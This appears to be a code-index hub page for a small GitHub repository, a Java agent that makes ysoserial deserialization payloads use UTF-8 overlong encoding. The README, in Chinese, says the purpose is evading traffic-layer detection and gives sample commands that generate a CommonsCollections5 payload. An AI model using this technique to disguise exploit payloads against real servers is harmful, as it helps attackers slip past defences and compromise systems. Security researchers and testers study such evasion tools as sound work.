MCPcopy Index your code
hub / github.com/Ar3h/utf8-overlong-agent

github.com/Ar3h/utf8-overlong-agent @v0.1

Chat with this repo
repository ↗ · DeepWiki ↗ · release v0.1 ↗ · + Follow
4 symbols 5 edges 2 files 0 documented · 0% updated 2y agov0.1 · 2024-04-23★ 86
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

utf8 overlong agent

使用 agent 替换序列化中的writeUTFwriteUTFBody函数,从而实现在反序列化时生成utf8 overlong数据,绕过流量层检测。

用法

在生成反序列化payload工具启动时添加 javaagent 参数即可

java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success"

image-20240423164153836

可以使用base64编码一下,然后拷贝出来使用

image-20240423164533367

默认采用随机混合2、3字节的utf8 overlong编码,每次生成的payload都不一样

image-20240423164808031

若想固定使用2或3字节utf8 overlong,指定agent参数即可:

# 2 byte
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=2 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success"

# 3 byte
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=3 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success"

参考

https://en.wikipedia.org/wiki/UTF-8

https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

https://github.com/Whoopsunix/utf-8-overlong-encoding

https://t.zsxq.com/ToFaL

https://t.zsxq.com/Yg2cc

Core symbols most depended-on inside this repo

transform
called by 0
src/main/java/Transformer.java
premain
called by 0
src/main/java/Main.java

Shape

Class 2
Method 2

Languages

Java100%

Modules by API surface

src/main/java/Transformer.java2 symbols
src/main/java/Main.java2 symbols

For agents

$ claude mcp add utf8-overlong-agent \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact